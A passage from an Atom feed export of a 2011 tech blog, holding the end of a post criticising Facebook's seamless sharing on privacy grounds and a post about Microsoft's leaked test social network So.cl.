&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;If you look at the real motive behind seamless sharing, it has nothing to do with the&amp;nbsp;benefit&amp;nbsp;of the Facebook users, this is totally done for the good of the Facebook alone. Facebook is the second most driver of traffic to websites behind Google, but this seamless sharing will&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp;increases value of Facebook because it&#39;ll drive more traffic to websites, but when it comes to users like you and me seamless sharing is bad because we don&#39;t want to share everything that we do without us knowing.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;So what are the other bad things when it comes to seamless sharing?&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;This is totally against the concept of social networking, we only want to sharing certain stuff with our friends, we don&#39;t want to share everything that we read online with our friends, do you?&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;So what happens if websites like YouTube, eBay start using seamless sharing? Everything you buy, everything you watch will be posted on Facebook, then what happens to your online privacy?&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;As you can see in the picture above these seamless sharing applications won&#39;t show what personal information they are going to access on your Facebook account.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;This will also clog your timeline with things you are not interested.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;And the even worse you might not be allowed to read the article without installing the Facebook app&lt;/b&gt;, this is not yet confirmed, some users who didn&#39;t add the Facebook app have been denied access to the articles, while some of users have. So looks like it depends on the website, to decide whether they want to let users read the articles without adding the Facebook application.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;So now it&#39;s a good time to think whether is this why you&#39;ve signed up for Facebook in the first place, did you signed up to Facebook to keep in touch with friends? or to share everything you do on the internet with others, like what you watch and what you buy?&lt;/span&gt;&lt;div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Partly the users need to take the blame for Facebook playing with their personal information, many of the users who are on Facebook don&#39;t understand the&amp;nbsp;importance&amp;nbsp;of online privacy, or don&#39;t know about online&amp;nbsp;privacy.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Because of this users don&#39;t talk or do anything against when Facebook when they are doing what&#39;s not right and unethical. As long as people are silent on what Facebook is doing they are not going to stop. Right now people who&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;regularly&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp;keep in touch with internet security are the only once talking about the wrong things done by Facebook.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;As our future is governed more and more by the internet, what we post now on Facebook or Twitter will have a&amp;nbsp;serious&amp;nbsp;effect in future. The people who love Facebook will&amp;nbsp;regret&amp;nbsp;joining Facebook in few years time.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/1948301561530061369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2011/12/down-with-facebook-seamless-sharing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1948301561530061369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1948301561530061369'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2011/12/down-with-facebook-seamless-sharing.html' title='Down With Facebook Seamless Sharing.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDBNBSwhehIOQpjdWFEE5wCf0ux6A9BnAW8FGB7YltxRs2-5_R_l-zVNrsISgqlrqTkce8rky1KYYiqHIRfDNU2aykiJNo9fnAguexYiiqkJClQPzJu-4QABm5oroyNnsIRFHM6RKfAY8/s72-c/facebook_dislike.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>Colombo, Sri Lanka</georss:featurename><georss:point>6.9270786 79.861243</georss:point><georss:box>6.8640276 79.782279 6.9901295999999995 79.940207</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-2539316002077621391</id><published>2011-12-17T23:35:00.000+05:30</published><updated>2011-12-18T13:01:57.496+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Google+"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="Social Media"/><category scheme="http://www.blogger.com/atom/ns#" term="Socl"/><category scheme="http://www.blogger.com/atom/ns#" term="Twitter"/><title type='text'>Socl, Microsoft Testing It&#39;s Own Social Network.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAd-XIO_8H7D_eHKhVTbbLNIreHhR5fjN7Hniqp6ym1VvIf6UcEwOk4fbnn-7HrYfq-lA1PyXvwswDwe_L2rn3jhVk57fpe9EyisHtEgmqYPwHCF9uL81NWg5ctPKo2ipcO3Owv6SVav0/s1600/tulalip-575x342.jpg&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;After Google entered the social networking battlefield, looks like it&#39;s Microsoft&#39;s turn to have their own social network and they&#39;ve secretly started testing a new social network for a selected few users. As you can see in the screenshot about, the site was&amp;nbsp;accidentally went public at &lt;a href=&quot;http://socl.com/&quot;&gt;socl.com&lt;/a&gt;, Microsoft&#39;s newly owned domain name, but soon it was taken offline.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;From the look of it and as many people who looked at the site when it was made public, people have to log in to it using their Facebook or Twitter account&#39;s. When I tries to access &lt;a href=&quot;http://socl.com/&quot;&gt;socl.com&lt;/a&gt; it redirected me to &lt;a href=&quot;http://so.cl/&quot;&gt;so.cl&lt;/a&gt;. It has some nice video that might be showing what&#39;s to come from their social network, from the look of it and seeing what&#39;s their at so.cl, it&#39;s more like a search engine based social networking, meaning you&#39;ll share your search results with your friends and based on the Bing API.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;I tried to log in to the site using my Facebook account and it redirects me to a &lt;a href=&quot;https://www.facebook.com/apps/application.php?id=243260015717725&amp;amp;sk=info&quot; target=&quot;_blank&quot;&gt;Facebook application&lt;/a&gt; called so.cl. However when I give approve to the Facebook application, it just redirects me back to the &amp;nbsp;welcome screen.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;However I tried logging in few times and once I was redirected to a page&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;a href=&quot;https://www.so.cl/#/error/overcapacity&quot;&gt;https://www.so.cl/#/error/overcapacity&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;When I go to the Microsoft Fuse Labs blog, I think currently they are testing the site for only a selected college students. But as this page says if i get an Email bu&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;chance, which i think might be highly&amp;nbsp;unlikely, I might be able to get a sneak peak at Microsoft social network.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEify3Jy2_eK7aWtCa2UFyN1w7WCqrCTbB-UMYUXjyrmJ-Yr1K-8B2dhv7d2896GniL2LhPm3pgRgGLcyVUlRwwFc3n4h9M-y7sVdNW5T8fyFJgHhG_Y3BrG50lF7A_Yk84SVK_Z5o96nig/s1600/So.cl.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;317&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEify3Jy2_eK7aWtCa2UFyN1w7WCqrCTbB-UMYUXjyrmJ-Yr1K-8B2dhv7d2896GniL2LhPm3pgRgGLcyVUlRwwFc3n4h9M-y7sVdNW5T8fyFJgHhG_Y3BrG50lF7A_Yk84SVK_Z5o96nig/s400/So.cl.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Click to see the picture enlarged&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;If you go and check the so.cl&amp;nbsp;application&amp;nbsp;wall of Facebook you can see some people have already got their invitations from people working inside Fuse Labs. Looking at some of the screen shots of so.cl, the design looks very much like Google+, where you follow people, not like Facebook adding people as friends.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;However I think it&#39;s highly&amp;nbsp;unlikely for a social network from Microsoft, based on Bing to&amp;nbsp;succeed, with only having 10% of the search market. But my personal thought is do we need another social network? Aren&#39;t we having&amp;nbsp;enough&amp;nbsp;social networks already? I&#39;ll talk about that in my next post. Till then I&#39;ll be keeping a close eye on my email to see if so.cl would actually send me an invitation.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/2539316002077621391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2011/12/socl-microsoft-testing-its-own-social.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/2539316002077621391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/2539316002077621391'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2011/12/socl-microsoft-testing-its-own-social.html' title='Socl, Microsoft Testing It&#39;s Own Social Network.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAd-XIO_8H7D_eHKhVTbbLNIreHhR5fjN7Hniqp6ym1VvIf6UcEwOk4fbnn-7HrYfq-lA1PyXvwswDwe_L2rn3jhVk57fpe9EyisHtEgmqYPwHCF9uL81NWg5ctPKo2ipcO3Owv6SVav0/s72-c/tulalip-575x342.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>Colombo, Sri Lanka</georss:featurename><georss:point>6.9270786 79.861243</georss:point><georss:box>6.8640276 79.782279 6.9901295999999995 79.940207</georss:box></entry></feed>